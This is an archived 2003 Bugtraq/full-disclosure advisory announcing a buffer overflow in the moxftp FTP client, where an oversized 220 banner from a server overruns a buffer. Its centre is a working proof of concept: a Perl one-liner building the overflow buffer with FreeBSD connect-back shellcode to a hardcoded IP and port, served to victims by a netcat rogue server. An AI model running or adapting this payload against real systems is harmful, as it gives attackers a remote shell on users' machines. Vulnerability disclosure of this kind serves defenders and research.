91484 2003-02-24 17:31 /6 rader/ Knud Erik Højgaard <kain@ircop.dk> Importerad: 2003-02-24 17:31 av Brevbäraren Extern mottagare: bugtraq@securityfocus.com Extern mottagare: full-disclosure@lists.netsys.com Mottagare: Bugtraq (import) <3623> Ärende: moxftp arbitrary code execution poc/advisory ------------------------------------------------------------ Attached document explains all. This document is also available from http://kokanins.homepage.dk -- Knud (91484) /Knud Erik Højgaard <kain@ircop.dk>/-------- Bilaga (text/plain) i text 91485 91485 2003-02-24 17:31 /52 rader/ Knud Erik Højgaard <kain@ircop.dk> Bilagans filnamn: "moxftp.txt" Importerad: 2003-02-24 17:31 av Brevbäraren Extern mottagare: bugtraq@securityfocus.com Extern mottagare: full-disclosure@lists.netsys.com Mottagare: Bugtraq (import) <3624> Bilaga (text/plain) till text 91484 Ärende: Bilaga (moxftp.txt) till: moxftp arbitrary code execution poc/advisory ------------------------------------------------------------ I. BACKGROUND According to the vendor moxftp is a "Ftp shell under X Window System". /usr/ports/ftp/moxftp II. DESCRIPTION Insufficient bounds checking leads to execution of arbitrary code. III. ANALYSIS Upon parsing the '220 welcome to server' ftp banner a buffer can be overrun, allowing us to execute our arbitrary code. The buffer may be constructed as such: [508 bytes][ebp ][eip ][nops][shellcode]. Placing the nops and shellcode in the buffer before ebp seems to cause some problems, luckily there's plenty of space after eip. Example run: $ perl -e 'print "220 " . "\x90" x 508 . "\x48\xfa\xbf\xbf" x 2 . "\x90" x 100 . "\x31\xc9\xf7\xe1\x51\x41\x51\x41\x51\x51\xb0\x61\xcd\x80\x89\xc3\x68\xd9\x9d\x02\x24\x66\x68\x27\x10\x66\x51\x89\xe6\xb2\x10\x52\x56\x50\x50\xb0\x62\xcd\x80\x41\xb0\x5a\x49\x51\x53\x53\xcd\x80\x41\xe2\xf5\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x54\x53\x53\xb0\x3b\xcd\x80" . "\n"' > file # nc -l -p 21 < file This sets up a rogue server which will overflow the buffer, and execute the shellcode. The shellcode is connect-back to 217.157.2.36 port 10000, replace "\xd9\x9d\x02\x24" with a suitable ip for testing. IV. DETECTION moxftp-2.2 shipping with the FreeBSD ports system as well as from various webpages per 9/2-03 is vulnerable. V. WORKAROUND unknown VI. VENDOR FIX unknown VII. CVE INFORMATION unknown VIII. DISCLOSURE TIMELINE unknown IX. CREDIT Knud Erik Højgaard (91485) /Knud Erik Højgaard <kain@ircop.dk>/(Ombruten)